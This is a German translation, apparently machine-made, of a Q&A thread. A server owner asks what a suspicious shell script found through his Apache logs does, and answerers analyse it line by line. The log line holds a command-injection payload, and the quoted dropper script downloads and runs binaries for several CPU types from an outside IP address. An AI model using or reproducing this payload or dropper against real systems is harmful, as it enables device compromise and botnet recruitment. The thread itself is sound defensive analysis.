Was macht dieses Bash-Skript? [Hack-Versuch]

31

Ich habe auf den Apache-Protokollen meines Servers in letzter Zeit die folgenden seltsamen Zeilen bemerkt:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Also habe ich einen benutzerdefinierten Fail2Ban-Filter erstellt und angefangen, die IPs zu verbannen, die diese /login.cgi-URLs anfordern.

Aber ich war neugierig, was sie zu tun versuchten, also zog ich das Skript, das sie auszuführen versuchten, und ich kann nicht scheinen, herauszufinden, was genau es tut. Etwas über das Entfernen von Arch-Ordnern in / var und / tmp?

Wie auch immer, hier ist es:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
ndom91
quelle
4
Verwandte Sicherheitslücke: twitter.com/txalin/status/1007625620090707974?lang=de
user2064000
1
Wie ist das Skript überhaupt auf Ihren Server gekommen?
MrWhite
3
Ich öffne einfach die .sh-Datei in einem Browser auf meinem Heim-PC und kopiere sie und füge sie hier ein. Sie ist eigentlich nie auf meinem Server angekommen.
ndom91
1
Dieses Skript ist ein "Dropper", mit dem das eigentliche Exploit-Skript heruntergeladen wird. Dies wird an lokalisiert werden , hxxp://80.211.173.159:80/$namewo $nameist jeder der CPU - Architekturen in bin_names. Also werden 7 Angriffsskripte heruntergeladen und ausgeführt
BlueCacti

Antworten:

42

Zeile für Zeile:

#!/bin/sh

Legt die shSchale, je nachdem was ist, als Shebang-Linie fest. sh%20/tmp/ksIn der Anforderung wird dies überschrieben, sodass diese Zeile als normaler Kommentar behandelt und ignoriert wird.

u="asgknskjdgn"

Deklariert einen beliebigen Namen, vermutlich um Kollisionen mit anderen Dateinamen zu vermeiden. Ich bin mir nicht sicher, warum sie nicht nur verwenden würden mktemp, aber vielleicht ist das nicht auf allen Plattformen verfügbar.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Zählt mehrere gängige CPU-Architekturen auf.

http_server="80.211.173.159"
http_port=80

Der Server, der den Exploit hat.

cd /tmp/||cd /var/

Versucht, das Verzeichnis an einen Ort zu ändern, an dem Ihr Webserver wahrscheinlich Dateien erstellen kann. Ich bin davon überzeugt, dass SELinux hier Abhilfe schaffen wird, indem es viel strengere Regeln für die Funktionen des Webservers als für das Dateisystem selbst auferlegt.

for name in $bin_names
    do

Für jede CPU-Architektur ...

    rm -rf $u

Entfernt zuvor ausprobierte Exploit-Programme. Unnötig wegen der nächsten Zeile, kann also ignoriert werden.

    cp $SHELL $u

Kopiert die aktuelle ausführbare Shell-Datei ( /bin/sh). Kann wegen der Zeile nach dem nächsten ignoriert werden.

    chmod 777 $u

Ermöglicht allen Benutzern den vollständigen Zugriff auf die neue Datei. Dies sollte nach dem wgetBefehl geschehen sein, der entweder ein Zeichen für einen Neuling in der Shell-Skripterstellung oder eine Fehlleitungstechnik ist.

    >$u

Leert die Datei aus. Sinnlos wegen der nächsten Zeile.

    wget http://$http_server:$http_port/$name -O -> $u

Überschreibt die Datei mit dem Exploit-Skript für diese Architektur. -O -> $uhätte geschrieben werden können -O - > $u(der Bindestrich gibt an, dass der Download in die Standardausgabe geschrieben werden soll), was äquivalent zu ist -O $u.

    ./$u $name

Führt das Exploit-Skript mit der Architektur als erstem Argument aus.

done

Beendet die Schleife.

Es sieht so aus, als wäre dies ein einfaches Exploit-Versuchsskript, mit dem bekannte Exploits auf verschiedenen CPU-Plattformen ausprobiert werden. Ich weiß nicht, warum es $udreimal überschreibt , aber diese Operationen könnten einfach von einer früheren Iteration des Skripts stammen. Vermutlich waren die Exploits in früheren Versionen eher hartcodiert als dynamisch bereitgestellt - Ersteres ist einfacher, garantiert jedoch, dass das Skript im Laufe der Zeit weniger effektiv ist, da Fehler behoben werden.

l0b0
quelle
21
Es ist von Vorteil, die Datei explizit zu speichern. Wenn das Ziel bereits vorhanden ist und gerade ausgeführt wird, können Sie die Datei vom Kernel nicht zum Schreiben öffnen (-ETXTBSY). Das Umbenennen oder Löschen eines laufenden Programms ist jedoch zulässig.
Grawity
Was macht ->der wgetBefehl? Warum nicht einfach wget ... -O $u?
RonJohn
1
@ RonJohn las es als- >
Katze
5
Mit -O->filenamewird das filenamein der Ausgabe von ps ax nicht angezeigt . Dies kann ein Vorteil sein, um das Debuggen zu erschweren.
pts
1
Das cpgibt dir eine ausführbare Datei. Möglicherweise nützlich, wenn das chmodfehlschlägt? Bearbeiten: Angesichts der Tatsache, dass dies anscheinend auf Router abzielt, ist es gut möglich, dass es chmoddas nicht gibt.
Bob
12

Das wgetist die wichtigste gefährliche Linie.

Die for name in $bin_namesListe der Plattformen wird durchgearbeitet und für jede Plattform wird ein temporäres Verzeichnis gelöscht, eine Shell kopiert und dann für alle zugänglich gemacht.

Anschließend lädt er eine Datei mit herunter wgetund führt sie dann mit dem Shell-Programm aus, über das er gerade kopiert hat.

Das Skript versucht im Grunde genommen, eine Reihe von ausführbaren Dateien oder Skripten für jede Plattform herunterzuladen und sie an Ihrem System zu reiben, in der Hoffnung, dass es Ihr System weiter gefährden kann.

Mokubai
quelle
6
Reiben == Laufen?
Barmar
5
@Barmar Ich bin sicher, das war beabsichtigt: P
Kanadier Luke REINSTATE MONICA